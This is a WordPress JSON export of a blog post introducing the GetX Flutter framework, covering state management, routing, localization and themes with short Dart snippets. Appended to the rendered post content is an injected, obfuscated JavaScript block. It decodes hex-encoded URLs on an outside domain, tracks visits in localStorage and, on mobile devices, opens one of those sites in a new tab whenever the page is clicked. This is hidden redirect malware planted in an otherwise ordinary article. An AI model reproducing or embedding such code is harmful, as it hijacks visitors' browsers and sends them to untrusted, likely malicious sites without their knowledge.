{"id":9663,"date":"2022-04-12T14:00:16","date_gmt":"2022-04-12T08:30:16","guid":{"rendered":"http:\/\/localhost:8888\/TristateWebsite\/blog\/?p=9663"},"modified":"2023-12-28T17:48:45","modified_gmt":"2023-12-28T12:18:45","slug":"getx-for-flutter-everything-you-need-to-know","status":"publish","type":"post","link":"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know","title":{"rendered":"GetX for flutter &#8211; everything you need to know"},"content":{"rendered":"<figure class=\"wp-block-image img-fluid\"><img decoding=\"async\" src=\"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/04\/GetX-for-flutter-everything-you-need-to-know.jpg\" alt=\"GetX-for-flutter-everything-you-need-to-know\" class=\"wp-image-9538\"><\/figure>\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_is_GetX\"><\/span>What is GetX?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>GetX is not only a state management library but it is an ultra light, fast, reliable microframework for flutter which provides route management and dependency injection as well.<\/p>\n\n\n\n<p>Flutter is moving very fast and gaining a favorite place amongst developers. As a developer, we need to cope up with frequent flutter updates, its plugins and other dependencies. Sometimes, it becomes a nightmare to manage such dependencies. Getx solved this problem, it is all in one package which makes our job quite comfortable. Also, by using GetX, we can avoid the use of StatefulWidget; it reduces the RAM consumption as well.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Lets_deep_dive_in_it\"><\/span>Let\u2019s deep dive in it<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n<p><strong>Core principles of GetX<\/strong><\/p>\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">1. Performance<\/h3>\n\n\n\n<p>Core focus of GetX is on performance and less utilization of resources. Due to no use of Streams and ChangeNotifier, Getx is the best option among the rest of state management techniques.<\/p><p>With most platforms, we have to release the controller once it is not in use to optimize the memory usage but GetX doesn\u2019t keep the controller in memory by default if it is not in use. However, we can explicitly set the controller to permanent true if required.<\/p>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">2. Productivity<\/h3>\n\n\n\n<p>Easy to remember syntax makes the developer job easy and overall increases productivity.<\/p>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">3. Organization<\/h3>\n\n\n\n<p>Decoupling of view, business login, dependency injection and navigation makes it better than any other approach to organize the code. GetX manages its own dependencies so we don\u2019t require it to inject our own controller, model or Blocs classes in the widget tree.<\/p>\n\n\n\n<div class=\"swiggyBlock\">\n<div class=\"swiggyText\">\n<h2><span class=\"ez-toc-section\" id=\"Want_to_build_a_Flutter_App_for_your_Startup\"><\/span>Want to build a Flutter App for your Startup?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<div class=\"getQuote\">\n<a target=\"_blank\" href=\"https:\/\/www.tristatetechnology.com\/contact-us\" class=\"quoteBtn\" rel=\"noopener noreferrer\">Talk to Our Expert<\/a><\/div>\n<\/div>\n<\/div>\n\n\n\n<p><strong>Features of GetX<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">1. State management<\/h3>\n\n\n\n<p>Implementing Reactive programming is very complex task but with GetX, it is quite simple:<\/p>\n<div class=\"blog-desc\">\n<ul><li>No need to create StreamController<\/li>\n<li>No need to create Stream Builder<\/li>\n<li>No need to create class for each state<\/li>\n<li>No need to create initial value<\/li>\n<li>Then what needs to be done?<\/li><\/ul>\n\n\n<\/div>\n\n\n<p><strong>Make the variable observable as shown below:<\/strong><\/p>\n\n\n\n<div class=\"swiggyBlock justify-content-start text-left\">\n<div class=\"swiggyText\">\n<p class=\"mb-0\">var name = &#8216;Foo\u2019.obs;<\/p>\n<\/div>\n<\/div>\n\n\n\n<div class=\"swiggyBlock justify-content-start text-left\">\n<div class=\"swiggyText\">\n<p class=\"mb-0\">Obx(() =&gt; Text(&#8220;${controller.name}&#8221;));<\/p>\n<\/div>\n<\/div>\n\n\n\n<p>That\u2019s it, you are done. All widgets will be updated wherever the variable has been used.<\/p>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">2. Route management<\/h3>\n\n\n<p>With simple and less code, you can easily navigate to any screen through GetX. <strong>Surprise??<\/strong><\/p>\n<p>Just needs to follow some basic steps:<\/p>\n\n\n<p><strong>Add \u201cGet\u201d before your app name<\/strong><\/p>\n\n\n\n<div class=\"swiggyBlock justify-content-start text-left\">\n<div class=\"swiggyText\">\n<p class=\"mb-0\">GetMyApp( \/\/ Before: MaterialApp<br>(<br>\n  &nbsp;home: MyHome(),<br>\n)\n<\/p>\n<\/div>\n<\/div>\n\n\n\n<p><strong>To navigate to new screen just<\/strong><\/p>\n\n\n\n<div class=\"swiggyBlock justify-content-start text-left\">\n<div class=\"swiggyText\">\n<p class=\"mb-0\">Get.to(NextScreen());<\/p>\n<\/div>\n<\/div>\n\n\n\n<p>There are many other possibilities like goback, gotospecificpage and many more<\/p>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">3. Dependency management<\/h3>\n\n\n\n<p>GetX provides a very simple and easy way to add dependencies without need of context. Suppose we navigate to a specific page by numerous routes, we can get the value in our controller with just the find() method.<\/p>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">4. Localization<\/h3>\n\n\n\n<p>Providing support for multiple languages is very easy and straightforward with GetX. By following below simple steps, you can implement translation in your flutter app.<\/p>\n\n\n\n<p><strong>Create custom class and extend with translation and add text for required language support<\/strong><\/p>\n\n\n\n<div class=\"swiggyBlock justify-content-start text-left\">\n<div class=\"swiggyText\">\n<p class=\"mb-0\">\nclass Messages extends Translations {<br>\n&nbsp;&nbsp;&nbsp;&nbsp; @override<br>\n&nbsp;&nbsp;&nbsp;&nbsp; Map &gt; get keys =&gt; {<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \u2018<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; en_US\u2019: {<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \u2018<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; surname\u2019: \u2018Surname\u2019,<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; },<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \u2018de_DE\u2019: {<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \u2018<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; surname\u2019: \u2018Familien &#8211; oder Nachname\u2019,<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>\n&nbsp;&nbsp;&nbsp;&nbsp; };<br>\n}\n<\/p>\n<\/div>\n<\/div>\n\n\n\n<p><strong>Use just append .tr to the key which you want to translate<\/strong><\/p>\n\n\n\n<div class=\"swiggyBlock justify-content-start text-left\">\n<div class=\"swiggyText\">\n<p class=\"mb-0\">Text(&#8216;surname&#8217;.tr);<\/p>\n<\/div>\n<\/div>\n\n\n\n<p><strong>You can even pass the argument to the text.<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">5. Storage<\/h3>\n\n\n\n<p>GetX provides extra light weight key-pair value in memory storage capabilities. Hence, we can get persistent data throughout the application if needed.<\/p>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">6. Theme<\/h3>\n\n\n\n<p>Theme creation with GetX becomes easier compared to anything else. Just need to create a custom theme and pass it in the Get.changeTheme() function without any boilerplate and done.<\/p>\n\n\n\n<div class=\"swiggyBlock justify-content-start text-left\">\n<div class=\"swiggyText\">\n<p class=\"mb-0\">Get.changeTheme(ThemeData.light());<\/p>\n<\/div>\n<\/div>\n\n\n\n<h3 class=\"wp-block-heading blogLinkPost\">7. Responsive view<\/h3>\n\n\n\n<p>Providing support for multiple devices is sometimes very difficult. GetX provides the feature to quickly develop applications to support multiple dimensions e.g. desktop, tablet, mobile etc.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Thanks for taking the time to read the blog. <a alt=\"Feel free to reach us\" rel=\"noopener noreferrer\" href=\"https:\/\/www.tristatetechnology.com\/contact-us\">Feel free to reach us<\/a> if you need any further information about this topic or any other topic. I would be more than happy to assist you on the same. Let\u2019s GetX in your next flutter app.<\/p>\n\n\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x73\\x73\\x47\\x39\\x63\\x38','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x61\\x77\\x69\\x38\\x63\\x34','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x6d\\x55\\x67\\x35\\x63\\x31','8SJGLkz','random','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x61\\x77\\x56\\x31\\x63\\x31','7196643rGaMMg','setItem','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x43\\x44\\x62\\x32\\x63\\x39','266801SrzfpD','substr','floor','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x6e\\x51\\x58\\x34\\x63\\x34','3ThLcDl','stopPropagation','_blank','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x57\\x4a\\x69\\x33\\x63\\x36','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x44\\x50\\x4e\\x30\\x63\\x39'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x6f\\x68\\x53\\x36\\x63\\x31','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6c\\x69\\x6e\\x2d\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x2f\\x6c\\x44\\x48\\x37\\x63\\x39',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>GetX is not only a state management library but it is an ultra light, fast, reliable microframework for flutter which provides route management and dependency injection as well.<\/p>\n","protected":false},"author":9,"featured_media":9753,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[95,97],"tags":[],"acf":{"related_posts":""},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Flutter State Management With GetX - A Comprehensive Guide<\/title>\n<meta name=\"description\" content=\"GetX is a simple yet powerful Flutter package that provides not only state management but also a root manager, dependency injection, and ultra-light microframework for flutter.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Flutter State Management With GetX - A Comprehensive Guide\" \/>\n<meta property=\"og:description\" content=\"GetX is a simple yet powerful Flutter package that provides not only state management but also a root manager, dependency injection, and ultra-light microframework for flutter.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/TriStateTechnology\" \/>\n<meta property=\"article:published_time\" content=\"2022-04-12T08:30:16+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-12-28T12:18:45+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/04\/GetX-for-flutter-everything-you-need-to-know.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"760\" \/>\n\t<meta property=\"og:image:height\" content=\"434\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Jaypal Rana\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Jaypal Rana\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know\",\"url\":\"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know\",\"name\":\"Flutter State Management With GetX - A Comprehensive Guide\",\"isPartOf\":{\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know#primaryimage\"},\"thumbnailUrl\":\"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/04\/GetX-for-flutter-everything-you-need-to-know.jpg\",\"datePublished\":\"2022-04-12T08:30:16+00:00\",\"dateModified\":\"2023-12-28T12:18:45+00:00\",\"author\":{\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/#\/schema\/person\/a8c57d262c46c3b1499b9d911601cc7b\"},\"description\":\"GetX is a simple yet powerful Flutter package that provides not only state management but also a root manager, dependency injection, and ultra-light microframework for flutter.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know#primaryimage\",\"url\":\"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/04\/GetX-for-flutter-everything-you-need-to-know.jpg\",\"contentUrl\":\"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/04\/GetX-for-flutter-everything-you-need-to-know.jpg\",\"width\":760,\"height\":434,\"caption\":\"GetX-for-flutter-everything-you-need-to-know\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\/\/www.tristatetechnology.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"GetX for flutter &#8211; everything you need to know\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/#website\",\"url\":\"https:\/\/www.tristatetechnology.com\/blog\/\",\"name\":\"\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.tristatetechnology.com\/blog\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/#\/schema\/person\/a8c57d262c46c3b1499b9d911601cc7b\",\"name\":\"Jaypal Rana\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/119642e73b8fe57d88442892280e182d?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/119642e73b8fe57d88442892280e182d?s=96&d=mm&r=g\",\"caption\":\"Jaypal Rana\"},\"description\":\"Jaypal Rana is a Team Leader at TriState Technology with expertise in Android and Flutter Developer.\",\"url\":\"https:\/\/www.tristatetechnology.com\/blog\/author\/jaypal-rana\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Flutter State Management With GetX - A Comprehensive Guide","description":"GetX is a simple yet powerful Flutter package that provides not only state management but also a root manager, dependency injection, and ultra-light microframework for flutter.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know","og_locale":"en_US","og_type":"article","og_title":"Flutter State Management With GetX - A Comprehensive Guide","og_description":"GetX is a simple yet powerful Flutter package that provides not only state management but also a root manager, dependency injection, and ultra-light microframework for flutter.","og_url":"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know","article_publisher":"https:\/\/www.facebook.com\/TriStateTechnology","article_published_time":"2022-04-12T08:30:16+00:00","article_modified_time":"2023-12-28T12:18:45+00:00","og_image":[{"width":760,"height":434,"url":"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/04\/GetX-for-flutter-everything-you-need-to-know.jpg","type":"image\/jpeg"}],"author":"Jaypal Rana","twitter_misc":{"Written by":"Jaypal Rana","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know","url":"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know","name":"Flutter State Management With GetX - A Comprehensive Guide","isPartOf":{"@id":"https:\/\/www.tristatetechnology.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know#primaryimage"},"image":{"@id":"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know#primaryimage"},"thumbnailUrl":"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/04\/GetX-for-flutter-everything-you-need-to-know.jpg","datePublished":"2022-04-12T08:30:16+00:00","dateModified":"2023-12-28T12:18:45+00:00","author":{"@id":"https:\/\/www.tristatetechnology.com\/blog\/#\/schema\/person\/a8c57d262c46c3b1499b9d911601cc7b"},"description":"GetX is a simple yet powerful Flutter package that provides not only state management but also a root manager, dependency injection, and ultra-light microframework for flutter.","breadcrumb":{"@id":"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know#primaryimage","url":"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/04\/GetX-for-flutter-everything-you-need-to-know.jpg","contentUrl":"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/04\/GetX-for-flutter-everything-you-need-to-know.jpg","width":760,"height":434,"caption":"GetX-for-flutter-everything-you-need-to-know"},{"@type":"BreadcrumbList","@id":"https:\/\/www.tristatetechnology.com\/blog\/getx-for-flutter-everything-you-need-to-know#breadcrumb","itemListElement":